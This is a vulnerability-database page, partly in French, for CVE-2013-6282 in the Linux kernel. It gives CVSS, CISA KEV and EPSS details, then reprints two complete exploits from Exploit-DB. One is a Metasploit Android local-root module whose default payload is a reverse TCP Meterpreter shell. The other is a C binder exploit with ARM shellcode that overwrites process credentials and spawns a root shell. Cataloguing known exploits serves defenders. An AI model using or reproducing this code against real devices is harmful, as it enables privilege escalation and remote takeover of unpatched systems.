Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-20 |
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V3.1 |
8.8 |
HIGH |
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Linux Kernel Improper Input Validation Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2022-09-14 22h00 +00:00
Action attendue : 2022-10-05 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 40975
Date de publication : 2016-12-28 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Common
def initialize(info={})
super( update_info( info, {
'Name' => "Android get_user/put_user Exploit",
'Description' => %q{
This module exploits a missing check in the get_user and put_user API functions
in the linux kernel before 3.5.5. The missing checks on these functions
allow an unprivileged user to read and write kernel memory.
This exploit first reads the kernel memory to identify the commit_creds and
ptmx_fops address, then uses the write primitive to execute shellcode as uid 0.
The exploit was first discovered in the wild in the vroot rooting application.
},
'License' => MSF_LICENSE,
'Author' => [
'fi01', # libget_user_exploit / libput_user_exploit
'cubeundcube', # kallsyms_in_memory
'timwr', # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-6282' ],
[ 'URL', 'http://forum.xda-developers.com/showthread.php?t=2434453' ],
[ 'URL', 'https://github.com/fi01/libget_user_exploit' ],
[ 'URL', 'http://forum.xda-developers.com/showthread.php?t=2565758' ],
],
'DisclosureDate' => "Sep 06 2013",
'SessionTypes' => [ 'meterpreter' ],
"Platform" => [ "android", "linux" ],
'Targets' => [[ 'Automatic', { }]],
'Payload' => { 'Space' => 2048, },
'DefaultOptions' =>
{
'WfsDelay' => 120,
'PAYLOAD' => 'linux/armle/mettle/reverse_tcp',
},
'DefaultTarget' => 0,
}
))
end
def exploit
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2013-6282.so" )
exploit_data = File.read(local_file, {:mode => 'rb'})
space = payload_space
payload_encoded = payload.encoded
# Substitute the exploit shellcode with our own
exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))
workingdir = session.fs.dir.getwd
remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
write_file(remote_file, exploit_data)
print_status("Loading exploit library #{remote_file}")
session.core.load_library(
'LibraryFilePath' => local_file,
'TargetFilePath' => remote_file,
'UploadLibrary' => false,
'Extension' => false,
'SaveToDisk' => false
)
print_status("Loaded library #{remote_file}, deleting")
session.fs.file.rm(remote_file)
print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
end
end
Exploit Database EDB-ID : 31574
Date de publication : 2014-02-10 23h00 +00:00
Auteur : Piotr Szerman
EDB Vérifié : No
/*
* Just a lame binder local root exploit stub. Somewhat messy but whatever. The bug was reported in CVE-2013-6282.
*
* Tested on Android 4.2.2 and 4.4. Kernels 3.0.57, 3.4.5 and few more. All up to 3.4.5 unpatched should be vulnerable.
* You need to customize the addresses so that they match the target board. On Android, both /proc/kallsyms and dmesg are
* restricted, thus no automation here.
*
* Rigged up by Piotr Szerman. (c) 2013
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
/* Binder transaction request format */
struct binder_write_read {
signed long write_size; /* bytes to write */
signed long write_consumed; /* bytes consumed by driver */
unsigned long write_buffer;
signed long read_size; /* bytes to read */
signed long read_consumed; /* bytes consumed by driver */
unsigned long read_buffer;
} bwr;
#define BR_NOOP 0x0000720c /* binder memory write value */
#define SC_TABLE 0xc000ee28 /* system call table address */
/* we need to know the lower halfword of the original address of sys_ni_syscall to tailor MMAP_AREA and MMAP_OFF accordingly.
* you can aid yourself with a NOP block. the higher halfword will in any case become 0x720c. on one of my boxes, the other
* halfword was 0xdac4. MMAP_AREA must be aligned appropriately. you can extract all the data in question at runtime from
* /proc/kallsyms and dmesg (not that hard to set off infoleaks with this bug) as long as there are no contraints in place
*/
#define MMAP_AREA 0x720cd000 /* userspace landing point page-aligned address. */
#define MMAP_OFF 0xac4 /* offset within it to plant the payload */
#define NUM_PAGES 16
#define PAGE_SIZE 4096
#define NOP 0xe1a00000 /* mov r0, r0 */
#define SHELL "/system/bin/sh"
#define TARGET_APERTURE 68 /* aiming for two adjacent non-implemented syscalls. check arch/arm/kernel/calls.S */
#define BINDER_WRITE_READ 0xc0186201 /* printk your BINDER_WRITE_READ ;) */
/* the target payload */
void __attribute__((regparm(3))) shellcode(void)
{
asm volatile(
"__transgressor:;"
"push {r0-r12,lr}" "\n\t"
"mov r1, sp" "\n\t" /* calculate the process descriptor location */
"bic r2, r1, #8128" "\n\t"
"bic r2, r2, #63" "\n\t"
"ldr r3, [r2, #12]" "\n\t"
"movt r0, #0" "\n\t"
"movw r0, #0" "\n\t"
"ldr r1, [r3, #492]" "\n\t" /* cred's location may differ depending on the kernel config.
* just build and objdump a kernel module with printk(current->cred->uid)
* to find out. or pinpoint it with the help of kgdb or whatever ;)
*/
"mov r4, #8" "\n\t"
"__loop_cred:;"
"sub r4, r4, #1" "\n\t"
"str r0, [r1, #4]!" "\n\t"
"teq r4, #0" "\n\t"
"bne __loop_cred" "\n\t"
"ldr r1, [r3, #488]" "\n\t" /* real_cred. overkill? */
"mov r4, #8" "\n\t"
"__loop_real_cred:;"
"sub r4, r4, #1" "\n\t"
"str r0, [r1, #4]!" "\n\t"
"teq r4, #0" "\n\t"
"bne __loop_real_cred" "\n\t"
"ldm sp!, {r0-r12,pc}" "\n\t" /* return to ret_fast_syscall */
"mov pc, lr" "\n\t"
);
}
int
main(int ac, char **av)
{
char * const shell[] = { SHELL, NULL };
char *map;
int fd;
fprintf(stderr, "[!] binder local root exploit\n[!] (c) piotr szerman\n");
fd = open("/dev/binder", O_RDWR);
if(fd < 0)
{
fprintf(stderr, "[-] failed to reach out for binder. (%s)\n", strerror(errno));
exit(EXIT_FAILURE);
}
map = mmap((void *)MMAP_AREA, NUM_PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED | MAP_LOCKED, 0, 0);
if(map == (void *)-1)
{
perror("mmap() ");
exit(EXIT_FAILURE);
}
fprintf(stderr, "[+] userspace map area == 0x%08lx\n", (unsigned long)map);
fprintf(stderr, "[+] placing NOP block at 0x%08lx\n", (unsigned long)map);
memset(map, NOP, MMAP_OFF);
fprintf(stderr, "[+] copying payload to 0x%08lx\n", (unsigned long)map + MMAP_OFF);
/* look at the objdump of shellcode to see the correct offset */
memcpy(map + MMAP_OFF, (unsigned char *)shellcode + 8 /* offseting to the __transgressor */, 30 * sizeof(void *) /* copy all opcodes */);
fprintf(stderr, "[+] constructing rogue data structure.\n");
bwr.write_size = 0;
bwr.write_consumed = 0;
bwr.read_size = 1;
bwr.read_consumed = 0;
/* targeting the aperture between 2 undefined system calls in the table */
bwr.read_buffer = (unsigned long)((unsigned char *)SC_TABLE + TARGET_APERTURE * sizeof(void *) + 2);
/* calculate process descriptor address with the aid of sp:
* task_struct = *( ((unsigned long *) ( (sp & ~(0xbf000000 - 1)) & ~0x3f )) + 3);
*/
ioctl(fd, BINDER_WRITE_READ, &bwr);
close(fd);
sleep(5); /* give binder ample time to service the transaction. if it's under heavy load, the exploit might fail */
fprintf(stderr, "[+] r00ting device...\n\n");
asm volatile(
"mov r7, %0\n\t"
"swi 0\n\t"
: : "I" (TARGET_APERTURE)
);
execve(shell[0], shell, NULL);
return EXIT_FAILURE;
}
Products Mentioned
Configuraton 0
Linux>>Linux_kernel >> Version To (excluding) 3.2.54
Linux>>Linux_kernel >> Version From (including) 3.3 To (excluding) 3.4.12
Linux>>Linux_kernel >> Version From (including) 3.5 To (excluding) 3.5.5
Références